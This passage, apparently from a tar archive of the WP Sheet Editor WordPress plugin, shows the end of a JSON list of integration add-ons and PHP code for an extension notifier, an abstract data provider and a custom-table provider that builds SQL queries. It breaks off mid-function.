"WP_Sheet_Editor_WooCommerce_Variations", "Woo_Variation_Swatches" ], "dependencyFunctions": [], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.1", "description": "Copy the swatches when you copy variations from one product to another, and add columns to edit attribute fees.", "name": "WP Sheet Editor - WC Variation Swatches", "file_name": "wp-sheet-editor-wc-variation-swatches" }, { "className": "WPSE_Wholesale_WooCommerce", "freemiusFunctionName": "wpsewcp_freemius", "requiredWPSEPlugin": [ 2812 ], "dependencyClasses": [ "WP_Sheet_Editor_WooCommerce_Variations", "Wwp_Wholesale_Pricing" ], "dependencyFunctions": [ "WC" ], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.1", "description": "Add columns to edit wholesale prices.", "name": "WP Sheet Editor - Wholesale For WooCommerce", "file_name": "wp-sheet-editor-wc-wholesale-prices" }, { "className": "WP_Sheet_Editor_WC_Wholesale_Pro_Suite", "freemiusFunctionName": "wpsewcp_freemius", "requiredWPSEPlugin": [ 2812 ], "dependencyClasses": [ "WP_Sheet_Editor_WooCommerce_Variations", "IGN_Wholesale_Pro_Suite" ], "dependencyFunctions": [ "WC" ], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.1", "description": "Add columns to edit the wholesale pricing in the products spreadsheet.", "name": "WP Sheet Editor - WooCommerce Wholesale Pro Suite", "file_name": "wp-sheet-editor-wc-wholesale-pro-suite" }, { "className": "WPSE_Wishlist_Member", "freemiusFunctionName": "", "requiredWPSEPlugin": [ [ 3004, 2830, 1010, 2812, 1124, 3165 ] ], "dependencyClasses": [ "WP_Sheet_Editor_Custom_Columns", "WishListMember" ], "dependencyFunctions": [ "wishlistmember_instance" ], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.1", "description": "This will let you edit the Wishlist Member fields in the spreadsheet of any post type (post protections), taxonomy terms spreadsheet (category protections), and users spreadsheet (user addresses, memberships, and custom profile fields).", "name": "WP Sheet Editor - Wishlist Member", "file_name": "wp-sheet-editor-wishlist-member" }, { "className": "WPSE_WooCommerce_Dynamic_Pricing", "freemiusFunctionName": "wpsewcp_freemius", "requiredWPSEPlugin": [ 2812 ], "dependencyClasses": [ "WP_Sheet_Editor_WooCommerce_Variations", "WC_Dynamic_Pricing" ], "dependencyFunctions": [ "WC" ], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.1", "description": "Allow to edit in the products spreadsheet pricing rules handled by the WooCommerce Dynamic Pricing plugin", "name": "WP Sheet Editor - WooCommerce Dynamic Pricing", "file_name": "wp-sheet-editor-woo-dynamic-pricing" }, { "className": "WPSE_WOO_Multi_Store", "freemiusFunctionName": "wpsewcp_freemius", "requiredWPSEPlugin": [ 2812 ], "dependencyClasses": [ "WP_Sheet_Editor_WooCommerce_Variations" ], "dependencyFunctions": [ "WC" ], "dependencyConstants": [ "WOO_MSTORE_VERSION" ], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.2.0", "description": "Trigger the synchronization done by the \"Woo Multi Store\" plugin after every edit made on our spreadsheet", "name": "WP Sheet Editor - Woo Multi Store", "file_name": "wp-sheet-editor-woo-multi-store" }, { "className": "WPSE_WC_B2B", "freemiusFunctionName": "wpsewcp_freemius", "requiredWPSEPlugin": [ 2812 ], "dependencyClasses": [ "WP_Sheet_Editor_WooCommerce_Variations" ], "dependencyFunctions": [ "wcb2b_get_groups" ], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.1", "description": "Add columns to edit the group prices in the products spreadsheet", "name": "WP Sheet Editor - WooCommerce b2b", "file_name": "wp-sheet-editor-woocommerce-b2b" }, { "className": "WPSE_WC_Chained_Products", "freemiusFunctionName": "wpsewcp_freemius", "requiredWPSEPlugin": [ 2812 ], "dependencyClasses": [ "WP_Sheet_Editor_WooCommerce_Variations" ], "dependencyFunctions": [ "chained_product_activate" ], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.1", "description": "Add compatibility with the Chained Products plugin by StoreApps to be able to edit the chain products in the spreadsheet editor.", "name": "WP Sheet Editor - WooCommerce Chained Products", "file_name": "wp-sheet-editor-woocommerce-chained-products" }, { "className": "WPSE_WooCommerce_Germanized", "freemiusFunctionName": "wpsewcp_freemius", "requiredWPSEPlugin": [ 2812 ], "dependencyClasses": [ "WP_Sheet_Editor_WooCommerce_Variations", "WooCommerce_Germanized" ], "dependencyFunctions": [ "WC" ], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.1", "description": "Add columns to edit WooCommerce Germanized fields in the products spreadsheet.", "name": "WP Sheet Editor - WooCommerce Germanized", "file_name": "wp-sheet-editor-woocommerce-germanized" }, { "className": "WPSE_WC_Simple_Auctions", "freemiusFunctionName": "", "requiredWPSEPlugin": [ [ 1010, 2812 ] ], "dependencyClasses": [ "WP_Sheet_Editor_WooCommerce_Variations", "WooCommerce_simple_auction" ], "dependencyFunctions": [], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.3", "description": "Fix compatibility issues between WP Sheet Editor and WooCommerce Simple Auctions.", "name": "WP Sheet Editor - WooCommerce Simple Auctions", "file_name": "wp-sheet-editor-woocommerce-simple-auctions" }, { "className": "WPSE_WooCommerce_Tab_Manager", "freemiusFunctionName": "wpsewcp_freemius", "requiredWPSEPlugin": [ 2812 ], "dependencyClasses": [ "WP_Sheet_Editor_WooCommerce_Variations", "WC_Tab_Manager_Loader" ], "dependencyFunctions": [ "WC" ], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.1", "description": "Add columns to the products spreadsheet where we can read and export the content of custom tabs. The tabs columns are read only.", "name": "WP Sheet Editor - WooCommerce Tab Manager", "file_name": "wp-sheet-editor-woocommerce-tab-manager" }, { "className": "WPSE_WoodMart", "freemiusFunctionName": "wpsewcp_freemius", "requiredWPSEPlugin": [ 2812 ], "dependencyClasses": [ "WP_Sheet_Editor_WooCommerce_Variations" ], "dependencyFunctions": [ "WC" ], "dependencyConstants": [ "WOODMART_THEME_DIR" ], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.1.0", "description": "Products spreadsheet: When we copy variations, also copy the variation gallery images; and allow to edit the featured video fields; Product categories spreadsheet: Display the image fields correctly.", "name": "WP Sheet Editor - WoodMart", "file_name": "wp-sheet-editor-woodmart" }, { "className": "WPSE_WPC_Composite_Products", "freemiusFunctionName": "", "requiredWPSEPlugin": [], "dependencyClasses": [ "WP_Sheet_Editor_WooCommerce" ], "dependencyFunctions": [], "dependencyConstants": [ "WOOCO_VERSION" ], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.0", "description": "Add columns for editing the fields used by the plugin \"WPC Composite Products by WPClever\"", "name": "WP Sheet Editor - WPC Composite Products", "file_name": "wp-sheet-editor-wpc-composite-products" }, { "className": "WPSE_WPC_Product_Bundles", "freemiusFunctionName": "wpsewcp_freemius", "requiredWPSEPlugin": [ 2812 ], "dependencyClasses": [ "WP_Sheet_Editor_WooCommerce" ], "dependencyFunctions": [], "dependencyConstants": [ "WOOSB_VERSION" ], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.0", "description": "Add columns for editing the fields used by the plugin \"WPC Product Bundles by WPClever\"", "name": "WP Sheet Editor - WPC Product bundles", "file_name": "wp-sheet-editor-wpc-product-bundles" }, { "className": "WPSE_WPFusion", "freemiusFunctionName": "", "requiredWPSEPlugin": [ [ 1010, 2812 ] ], "dependencyClasses": [ "WP_Sheet_Editor_Custom_Columns" ], "dependencyFunctions": [ "wp_fusion" ], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.1", "description": "Add columns to edit the WPFusion fields in the post types spreadsheets.", "name": "WP Sheet Editor - WPFusion", "file_name": "wp-sheet-editor-wpfusion" }, { "className": "WPSE_Yith_Composite_Products", "freemiusFunctionName": "wpsewcp_freemius", "requiredWPSEPlugin": [ 2812 ], "dependencyClasses": [ "WP_Sheet_Editor_WooCommerce_Variations" ], "dependencyFunctions": [], "dependencyConstants": [ "YITH_WCP" ], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.1", "description": "Add columns to the products spreadsheet to edit the composite product fields.", "name": "WP Sheet Editor - Yith Composite Products", "file_name": "wp-sheet-editor-yith-composite-products" } ] modules/wp-sheet-editor/inc/integrations/notifier.php000064400000033033147600365160017055 0ustar00options['disable_important_extensions_toolbar'] ) ) { return; } if ( ! VGSE()->helpers->is_editor_page() ) { return; } $suggested_extensions = $this->get_suggested_extensions(); if ( ! $suggested_extensions ) { return; } add_action( 'vg_sheet_editor/editor/before_init', array( $this, 'register_toolbar' ), 20 ); } /** * Add fields to options page * @param array $sections * @return array */ public function add_settings_page_options( $sections ) { $sections['misc']['fields'][] = array( 'id' => 'disable_important_extensions_toolbar', 'type' => 'switch', 'title' => __( 'Disable the popup that asks you to install important extensions?', VGSE()->textname ), 'desc' => __( 'We show a popup asking you to install free extensions when we detect that you are using a third-party plugin that requires special compatibility, which helps us prevent errors.', VGSE()->textname ), ); return $sections; } public function is_extension_outdated( $folder_name, $official_version ) { if ( ! function_exists( 'get_plugin_data' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } $php_files = VGSE()->helpers->get_files_list( WP_PLUGIN_DIR . '/' . $folder_name ); $out = false; foreach ( $php_files as $php_file ) { $plugin_data = get_plugin_data( $php_file ); if ( ! empty( $plugin_data['Version'] ) && version_compare( $official_version, $plugin_data['Version'] ) === 1 ) { $out = true; break; } } return $out; } public function get_suggested_extensions() { $file_path = __DIR__ . '/extensions.json'; $out = array(); if ( ! file_exists( $file_path ) || ! file_get_contents( $file_path ) ) { return $out; } $fs_options = FS_Options::instance( WP_FS__ACCOUNTS_OPTION_NAME, true ); $raw_fs_plugins = wp_list_filter( $fs_options->get_option( WP_FS__MODULE_TYPE_PLUGIN . 's' ), array( 'is_premium' => true ) ); if ( empty( $raw_fs_plugins ) ) { return $out; } $fs_plugins = wp_list_pluck( $raw_fs_plugins, 'file', 'id' ); $extensions = json_decode( file_get_contents( $file_path ), true ); foreach ( $extensions as $extension ) { // Skip extensions that are installed already if they are up to date if ( class_exists( $extension['className'] ) ) { if ( $this->is_extension_outdated( $extension['file_name'], $extension['version'] ) ) { $extension['requires_update'] = true; } else { continue; } } else { $extension['requires_update'] = false; } $extension_key = $extension['file_name']; if ( $extension['status'] !== 'publish' || empty( $extension['name'] ) || empty( $extension['description'] ) ) { continue; } // Skip if a required paid plan doesn't exists if ( ! empty( $extension['freemiusFunctionName'] ) && function_exists( $extension['freemiusFunctionName'] ) && ! $extension['freemiusFunctionName']()->can_use_premium_code__premium_only() ) { continue; } // Check if required fs plugins are found $all_plugins_exist = array(); foreach ( $extension['requiredWPSEPlugin'] as $plugins ) { if ( is_array( $plugins ) ) { $plugin_is_valid = false; foreach ( $plugins as $plugin_id ) { if ( ! empty( $fs_plugins[ $plugin_id ] ) && is_plugin_active( $fs_plugins[ $plugin_id ] ) ) { $plugin_is_valid = true; break; } } } else { $plugin_is_valid = ! empty( $fs_plugins[ $plugins ] ) && is_plugin_active( $fs_plugins[ $plugins ] ); } $all_plugins_exist[] = $plugin_is_valid; } // Skip if at least one check is false if ( in_array( false, $all_plugins_exist, true ) ) { continue; } // Check if required classes are valid $all_classes_exist = array(); foreach ( $extension['dependencyClasses'] as $class ) { if ( is_array( $class ) ) { $class_is_valid = false; foreach ( $class as $class_name ) { if ( class_exists( $class_name ) ) { $class_is_valid = true; break; } } } else { $class_is_valid = class_exists( $class ); } $all_classes_exist[] = $class_is_valid; } // Skip if at least one class check is false if ( in_array( false, $all_classes_exist, true ) ) { continue; } // Check if required functions are valid $all_functions_exist = array(); foreach ( $extension['dependencyFunctions'] as $function ) { if ( is_array( $function ) ) { $function_is_valid = false; foreach ( $function as $function_name ) { if ( function_exists( $function_name ) ) { $function_is_valid = true; break; } } } else { $function_is_valid = function_exists( $function ); } $all_functions_exist[] = $function_is_valid; } // Skip if at least one check is false if ( in_array( false, $all_functions_exist, true ) ) { continue; } // Check if required constants are valid $all_constants_exist = array(); foreach ( $extension['dependencyConstants'] as $constant ) { if ( is_array( $constant ) ) { $constant_is_valid = false; foreach ( $constant as $constant_name ) { if ( defined( $constant_name ) ) { $constant_is_valid = true; break; } } } else { $constant_is_valid = defined( $constant ); } $all_constants_exist[] = $constant_is_valid; } // Skip if at least one check is false if ( in_array( false, $all_constants_exist, true ) ) { continue; } $out[ $extension_key ] = $extension; } return $out; } public function register_toolbar( $editor ) { $post_types = $editor->args['enabled_post_types']; foreach ( $post_types as $post_type ) { // Skip if the current editor doesn't have a license toolbar with fs_id // because we need the fs object to get the buyer email $license_toolbar = $editor->args['toolbars']->get_item( 'wpse_license', $post_type, 'secondary' ); if ( empty( $license_toolbar ) || empty( $license_toolbar['fs_id'] ) ) { continue; } $editor->args['toolbars']->register_item( 'suggested_extensions', array( 'type' => 'button', 'content' => __( 'Integrations', VGSE()->textname ), 'extra_html_attributes' => 'data-remodal-target="modal-suggested-extensions"', 'footer_callback' => array( $this, 'render_suggested_extensions' ), 'parent' => 'extensions', 'fs_id' => $license_toolbar['fs_id'], ), $post_type ); } } /** * Render filters modal html * @param string $current_post_type */ public function render_suggested_extensions( $current_post_type ) { $license_toolbar = VGSE()->helpers->get_provider_editor( $current_post_type )->args['toolbars']->get_item( 'wpse_license', $current_post_type, 'secondary' ); $fs_id = (int) $license_toolbar['fs_id']; $fs = freemius( $fs_id ); if ( ! $fs ) { return; } $user = $fs->get_user(); if ( ! $user ) { return; } $email = $user->email; $suggested_extensions = $this->get_suggested_extensions(); if ( empty( $suggested_extensions ) ) { return; } $extensions_to_update = wp_list_filter( $suggested_extensions, array( 'requires_update' => true ) ); $extensions_to_install = wp_list_filter( $suggested_extensions, array( 'requires_update' => false ) ); ?>

                  init(); } return self::$instance; } public function __set( $name, $value ) { $this->$name = $value; } public function __get( $name ) { return $this->$name; } } } if ( ! function_exists( 'WPSE_Extension_Notifier_Obj' ) ) { function WPSE_Extension_Notifier_Obj() { return WPSE_Extension_Notifier::get_instance(); } } add_action( 'vg_sheet_editor/initialized', 'WPSE_Extension_Notifier_Obj' ); modules/wp-sheet-editor/inc/providers/abstract.php000064400000006752147600365160016360 0ustar00key . '/update_modified_date', $ids ); } function get_random_string($length, $spChars = false) { $alpha = 'abcdefghijklmnopqrstwvxyz'; $alphaUp = strtoupper($alpha); $num = '12345678901234567890'; $sp = '@/+.*-\$#!)['; $thread = $alpha . $alphaUp . $num; if ($spChars) { $thread .= $sp; } $str = ''; for ($i = 0; $i < $length; $i++) { $str .= $thread[mt_rand(0, strlen($thread) - 1)]; } return $str; } abstract function get_provider_read_capability($post_type_key); abstract function delete_meta_key($old_key, $post_type); abstract function rename_meta_key($old_key, $new_key, $post_type); abstract function get_provider_edit_capability($post_type_key); function get_provider_delete_capability($post_type_key) { return $this->get_provider_edit_capability($post_type_key); } abstract function init(); /** * Creates or returns an instance of this class. * * @return Foo A single instance of this class. */ static function get_instance() { if (null == self::$instance) { self::$instance = new self(); self::$instance->init(); } return self::$instance; } abstract function get_post_data_table_id_key($post_type = null); abstract function get_meta_table_post_id_key($post_type = null); abstract function get_meta_table_name($post_type = null); abstract function prefetch_data($post_ids, $post_type, $spreadsheet_columns); abstract function get_item_terms($post_id, $taxonomy); abstract function get_statuses(); abstract function get_items($query_args); abstract function get_item($id, $format = null); abstract function get_item_meta($post_id, $key, $single, $context = 'save', $bypass_cache = false); abstract function get_item_data($id, $key); abstract function update_item_data($values, $wp_error = false); function delete_item_meta($id, $key) { $this->update_item_meta($id, $key, ''); } /** * Used by the custom_table provider only * * @param string $table_name * @param string $meta_table_name * @param array $filters * @return array|false */ function get_meta_query_sql( $table_name, $meta_table_name, $filters ) { } abstract function update_item_meta($id, $key, $value); abstract function get_object_taxonomies($post_type); abstract function set_object_terms($post_id, $terms_saved, $key); abstract function get_total($current_post); abstract function create_item($values); abstract function get_item_ids_by_keyword($keyword, $post_type, $operator = 'LIKE'); abstract function get_meta_object_id_field($field_key, $column_settings); abstract function get_table_name_for_field($field_key, $column_settings); abstract function get_meta_field_unique_values($meta_key, $post_type = 'post'); abstract function get_all_meta_fields($post_type = 'post'); } }modules/wp-sheet-editor/inc/providers/custom_table.php000064400000106750147600365160017235 0ustar00helpers->get_provider_from_query_string(); if ( method_exists( VGSE()->helpers, 'can_rescan_db_fields' ) && VGSE()->helpers->can_rescan_db_fields( $current_post_type ) ) { $cached_columns = array(); $cached_params = array(); $cached_id_columns = array(); $force_rescan = true; } else { $cached_columns = get_transient( $columns_transient_key ); $cached_params = get_transient( $params_transient_key ); $cached_id_columns = get_transient( $id_columns_transient_key ); if ( ! empty( $cached_columns ) ) { $cached_columns = json_decode( $cached_columns, true ); } if ( ! empty( $cached_params ) ) { $cached_params = json_decode( $cached_params, true ); } } if ( empty( $cached_columns ) ) { $cached_columns = array(); } if ( empty( $cached_params ) ) { $cached_params = array(); } if ( is_array( $cached_id_columns ) ) { $this->post_data_table_id_cache = wp_parse_args( $cached_id_columns, $this->post_data_table_id_cache ); } $cached_schema = array(); if ( $cached_params ) { foreach ( $cached_params as $table_name => $args ) { $cached_schema[ $table_name ] = $args; $cached_schema[ $table_name ]['columns'] = $cached_columns[ $args['column_group_key'] ]; } } if ( $cached_schema ) { $this->args = wp_parse_args( $cached_schema, $this->args ); } foreach ( $table_names as $table_name ) { $this->maybe_build_table_schema( $table_name ); $this->get_post_data_table_id_key( $table_name ); } if ( $this->args !== $cached_schema || $force_rescan ) { $params = array(); $columns = array(); foreach ( $this->args as $table_name => $args ) { $unique_column_group_key = md5( json_encode( wp_list_pluck( $args['columns'], 'type', 'column_key' ) ) ); $columns[ $unique_column_group_key ] = $args['columns']; unset( $args['columns'] ); $args['column_group_key'] = $unique_column_group_key; $params[ $table_name ] = $args; } set_transient( $columns_transient_key, json_encode( $this->utf8ize( $columns ) ), WEEK_IN_SECONDS ); set_transient( $params_transient_key, json_encode( $params ), WEEK_IN_SECONDS ); set_transient( $id_columns_transient_key, $this->post_data_table_id_cache, WEEK_IN_SECONDS ); } } /* Use it for json_encode some corrupt UTF-8 chars * useful for = malformed utf-8 characters possibly incorrectly encoded by json_encode * https://stackoverflow.com/a/52641198 */ function utf8ize( $mixed ) { if ( is_array( $mixed ) ) { foreach ( $mixed as $key => $value ) { $mixed[ $key ] = $this->utf8ize( $value ); } } elseif ( is_string( $mixed ) ) { return mb_convert_encoding( $mixed, 'UTF-8', 'UTF-8' ); } return $mixed; } function get_arg( $key, $post_type ) { $this->maybe_build_table_schema( $post_type ); return isset( $this->args[ $post_type ][ $key ] ) ? $this->args[ $post_type ][ $key ] : false; } function get_provider_read_capability( $post_type_key ) { return apply_filters( 'vgse_sheet_editor/provider/custom_table/read_capability/' . $post_type_key, 'manage_options' ); } function delete_meta_key( $old_key, $post_type ) { global $wpdb; $meta_table_name = VGSE()->helpers->get_current_provider()->get_meta_table_name( $post_type ); if ( ! $meta_table_name ) { return 0; } $result = $wpdb->delete( $meta_table_name, array( 'meta_key' => $old_key, ) ); return $result; } function rename_meta_key( $old_key, $new_key, $post_type ) { global $wpdb; $meta_table_name = $this->get_meta_table_name( $post_type ); if ( ! $meta_table_name ) { return 0; } if ( is_string( $post_type ) ) { $post_type = array( $post_type ); } $modified = (int) $wpdb->update( $meta_table_name, array( 'meta_key' => $new_key, ), array( 'meta_key' => $old_key, ) ); return $modified; } function get_provider_edit_capability( $post_type_key ) { return apply_filters( 'vgse_sheet_editor/provider/custom_table/edit_capability/' . $post_type_key, 'manage_options' ); } function get_provider_delete_capability( $post_type_key ) { return apply_filters( 'vgse_sheet_editor/provider/custom_table/delete_capability/' . $post_type_key, 'manage_options' ); } function init() { } function get_total( $post_type = null ) { global $wpdb; return $wpdb->get_var( 'SELECT COUNT(*) FROM ' . VGSE()->helpers->sanitize_table_key( $post_type ) ); } /** * Creates or returns an instance of this class. * * @return Foo A single instance of this class. */ static function get_instance() { if ( null == self::$instance ) { self::$instance = new self(); self::$instance->init(); } return self::$instance; } function get_post_data_table_id_key( $post_type = null ) { global $wpdb; if ( isset( $this->post_data_table_id_cache[ $post_type ] ) ) { return $this->post_data_table_id_cache[ $post_type ]; } $result = $wpdb->get_row( 'SHOW KEYS FROM ' . VGSE()->helpers->sanitize_table_key( $post_type ) . " WHERE Key_name = 'PRIMARY'", ARRAY_A ); if ( ! $result ) { $int_column = $wpdb->get_row( 'SHOW COLUMNS FROM ' . VGSE()->helpers->sanitize_table_key( $post_type ) . " WHERE Type LIKE '%int%'" ); if ( ! empty( $int_column ) ) { $result = array( 'Column_name' => $int_column->Field ); } } if ( ! $result ) { return false; } if ( method_exists( VGSE()->helpers, 'sanitize_table_key' ) ) { $result['Column_name'] = VGSE()->helpers->sanitize_table_key( $result['Column_name'] ); } $this->post_data_table_id_cache[ $post_type ] = $result['Column_name']; return $this->post_data_table_id_cache[ $post_type ]; } function get_meta_table_post_id_key( $post_type = null ) { if ( ! $post_type ) { $post_type = VGSE()->helpers->get_provider_from_query_string(); } $post_id_key = apply_filters( 'vgse_sheet_editor/provider/custom_table/meta_table_post_id_key', null, $post_type ); if ( method_exists( VGSE()->helpers, 'sanitize_table_key' ) ) { $post_id_key = VGSE()->helpers->sanitize_table_key( $post_id_key ); } return $post_id_key; } function get_meta_table_name( $post_type = null ) { if ( ! $post_type ) { $post_type = VGSE()->helpers->get_provider_from_query_string(); } $table_name = apply_filters( 'vgse_sheet_editor/provider/custom_table/meta_table_name', null, $post_type ); if ( method_exists( VGSE()->helpers, 'sanitize_table_key' ) ) { $table_name = VGSE()->helpers->sanitize_table_key( $table_name ); } return $table_name; } function prefetch_data( $post_ids, $post_type, $spreadsheet_columns ) { } function get_item_terms( $id, $table_name ) { $raw_value = ''; return apply_filters( 'vg_sheet_editor/provider/custom_table/get_items_terms', $raw_value, $id, $table_name ); } function get_statuses() { return array(); } function get_items( $query_args ) { $post_type = $query_args['post_type']; $post_keys_to_remove = array( 'post_status', 'author', 'tax_query', ); foreach ( $post_keys_to_remove as $post_key_to_remove ) { if ( isset( $query_args[ $post_key_to_remove ] ) ) { unset( $query_args[ $post_key_to_remove ] ); } } $primary_key = $this->get_post_data_table_id_key( $post_type ); if ( isset( $query_args['posts_per_page'] ) && $query_args['posts_per_page'] < 0 ) { $query_args['paginated'] = false; } if ( isset( $query_args['post__in'] ) ) { $query_args[ $primary_key ] = $query_args['post__in']; } if ( isset( $query_args['post__not_in'] ) ) { $query_args[ $primary_key . '__not' ] = $query_args['post__not_in']; } if ( ! empty( $query_args['fields'] ) && $query_args['fields'] === 'ids' ) { $query_args['query_select'] = 't.' . $primary_key; } if ( ! empty( $query_args['s'] ) ) { $query_args['s'] = $query_args['s']; } $query_args['count_total'] = false; $rows = $this->_get_rows( $query_args ); $request = $this->last_request; $total = (int) $this->_get_rows( array_merge( $query_args, array( 'query_select' => 'COUNT(*)', 'method' => 'get_var', 'paginated' => false, ) ) ); $out = (object) array(); $out->found_posts = $total; $out->posts = array(); $out->request = $request; if ( ! empty( $rows ) ) { foreach ( $rows as $row ) { $row = $this->_format_item( $row, $post_type ); $out->posts[] = $row; } if ( ! empty( $query_args['fields'] ) && $query_args['fields'] === 'ids' ) { $out->posts = wp_list_pluck( $out->posts, 'ID' ); } } // $out->posts must contain an array of objects return $out; } function _get_table_columns( $table_name ) { global $wpdb; if ( isset( $this->table_columns_cache[ $table_name ] ) ) { return $this->table_columns_cache[ $table_name ]; } $this->table_columns_cache[ $table_name ] = $wpdb->get_results( 'SHOW COLUMNS FROM ' . VGSE()->helpers->sanitize_table_key( $table_name ), ARRAY_A ); return $this->table_columns_cache[ $table_name ]; } function maybe_build_table_schema( $post_type ) { global $wpdb; if ( ! empty( $this->args[ $post_type ] ) ) { return; } $columns = $this->_get_table_columns( $post_type ); $schema = array(); foreach ( $columns as $column ) { $column_key = $column['Field']; $type = 'text'; $sample_values = null; if ( stripos( $column['Type'], 'int' ) !== false ) { $type = 'numeric'; $sample_values = array( 1, 2, 3, 4 ); } elseif ( $column['Type'] === 'datetime' ) { $type = 'dates'; } elseif ( stripos( $column['Type'], 'decimal' ) !== false ) { $type = 'float'; } if ( is_null( $sample_values ) ) { $sample_values = $wpdb->get_col( "SELECT $column_key FROM $post_type GROUP BY $column_key ORDER BY $column_key DESC LIMIT 4" ); } if ( empty( $sample_values ) ) { $sample_values = array(); } $all_values = implode( ', ', $sample_values ); // Set safe_html type if the sample values contain html if ( $type === 'text' && wp_strip_all_tags( $all_values ) !== $sample_values ) { $type = 'safe_html'; } $schema[ $column_key ] = array( 'default_value_insert' => $column['Default'] !== null ? $column['Default'] : '', 'type' => $type, 'column_key' => $column_key, 'sample_values' => array_map( 'maybe_unserialize', $sample_values ), ); } if ( empty( $schema ) ) { return; } $searchable_columns = $this->get_searchable_column_keys( $post_type ); $primary_column = $this->get_post_data_table_id_key( $post_type ); $first_column = current( $schema ); if ( empty( $primary_column ) && ( empty( $first_column ) || $first_column['type'] !== 'numeric' ) ) { return; } $this->args[ $post_type ] = apply_filters( 'vg_sheet_editor/provider/custom_table/table_schema', array( 'default_order_by' => ( ! empty( $primary_column ) ) ? $primary_column : $first_column['column_key'], 'default_order' => 'DESC', 'table_name' => $post_type, 's_columns' => $searchable_columns, 'columns' => $schema, ) ); } function get_meta_query_sql( $table_name, $meta_table_name, $filters ) { global $wpdb; if ( empty( $filters ) ) { return false; } $meta_table_id_column = $this->get_meta_table_post_id_key(); $data_id_column = $this->get_post_data_table_id_key( $table_name ); $meta_key_column_key = $this->_get_meta_key_column_key( $table_name ); $meta_value_column_key = $this->_get_meta_value_column_key( $table_name ); if ( empty( $meta_table_id_column ) || empty( $data_id_column ) || empty( $meta_key_column_key ) || empty( $meta_value_column_key ) ) { return false; } $query_args = array( 'meta_query' => $filters ); $meta_query = new WP_Meta_Query(); $meta_query->parse_query_vars( $query_args ); $mq_sql = $meta_query->get_sql( 'post', 't', $data_id_column, null ); $search = array( $wpdb->postmeta, $meta_table_name . '.post_id', $meta_table_name . '.meta_key', $meta_table_name . '.meta_value', ); $replace = array( $meta_table_name, $meta_table_name . '.' . $meta_table_id_column, $meta_table_name . '.' . $meta_key_column_key, $meta_table_name . '.' . $meta_value_column_key, ); $mq_sql['join'] = str_replace( $search, $replace, $mq_sql['join'] ); $mq_sql['where'] = str_replace( $search, $replace, $mq_sql['where'] ); return $mq_sql; } function _get_rows( $args ) { global $wpdb; if ( empty( $args['post_type'] ) ) { $args['post_type'] = VGSE()->helpers->get_provider_from_query_string(); } $defaults = array( 's' => '', 'posts_per_page' => 10, 'paged' => 1, 'paginated' => true, 'query_select' => '*', 'order_by' => $this->get_arg( 'default_order_by', $args['post_type'] ), 'order' => $this->get_arg( 'default_order', $args['post_type'] ), 'group_by' => '', 'method' => 'get_results', ); $args = wp_parse_args( $args, $defaults ); // Sort array by key to normalize the cache ksort( $args ); extract( $args ); $table_name = $this->get_arg( 'table_name', $args['post_type'] ); // sanitization if ( ! empty( $s ) ) { $s = sanitize_text_field( $s ); } if ( ! empty( $paged ) ) { $paged = intval( $paged ); } if ( ! empty( $posts_per_page ) ) { $posts_per_page = intval( $posts_per_page ); } if ( $query_select === '*' ) { $query_select = 't.*'; } $sql = 'SELECT ' . $query_select . ' FROM ' . VGSE()->helpers->sanitize_table_key( $table_name ) . ' as t '; $prepared_data = array(); $wheres = array(); if ( ! empty( $s ) ) { $s = esc_sql( $s ); $s_conditions = array(); foreach ( $this->get_arg( 's_columns', $args['post_type'] ) as $s_column ) { $s_conditions[] = 't.' . VGSE()->helpers->sanitize_table_key( $s_column ) . ' LIKE %s'; $prepared_data[] = '%' . $wpdb->esc_like( $s ) . '%'; } $s_sql = '( ' . implode( ' OR ', $s_conditions ) . ' ) '; $wheres[] = $s_sql; } foreach ( $this->get_arg( 'columns', $args['post_type'] ) as $column_key => $column ) { // We don't support filter by post_type column because it conflicts with the spreadsheet key if ( $column_key === 'post_type' ) { continue; } if ( ! isset( $args[ $column_key ] ) ) { continue; } if ( empty( $args[ $column_key ] ) ) { $args[ $column_key ] = $column['default_value_get']; } $column_key = VGSE()->helpers->sanitize_table_key( $column_key ); if ( $column['type'] === 'numeric' ) { if ( is_array( $args[ $column_key ] ) ) { $value_in_query_placeholders = implode( ', ', array_fill( 0, count( $args[ $column_key ] ), '%d' ) ); $wheres[] = "t.$column_key IN ($value_in_query_placeholders)"; $prepared_data = array_merge( $prepared_data, array_map( 'intval', $args[ $column_key ] ) ); } else { $wheres[] = "t.$column_key = %d"; $prepared_data[] = intval( $args[ $column_key ] ); } } elseif ( $column['type'] === 'float' ) { if ( is_array( $args[ $column_key ] ) ) { $value_in_query_placeholders = implode( ', ', array_fill( 0, count( $args[ $column_key ] ), '%f' ) ); $wheres[] = "t.$column_key IN ($value_in_query_placeholders) "; $prepared_data = array_merge( $prepared_data, array_map( 'floatval', $args[ $column_key ] ) ); } else { $wheres[] = "t.$column_key = %f"; $prepared_data[] = floatval( $args[ $column_key ] ); } } elseif ( $column['type'] === 'dates' ) { if ( ! empty( $args[ $column_key ] ) ) { $wheres[] = "t.$column_key LIKE %s"; $prepared_data[] = '%' . $wpdb->esc_like( $args[ $column_key ] ) . '%'; } else { if ( ! empty( $args[ $column_key . '_after' ] ) ) { $wheres[] = "t.$column_key > %s"; $prepared_data[] = $args[ $column_key . '_after' ]; } if ( ! empty( $args[ $column_key . '_before' ] ) ) { $wheres[] = "t.$column_key < %s"; $prepared_data[] = $args[ $column_key . '_before' ]; } } } else { if ( is_array( $args[ $column_key ] ) ) { $value_in_query_placeholders = implode( ', ', 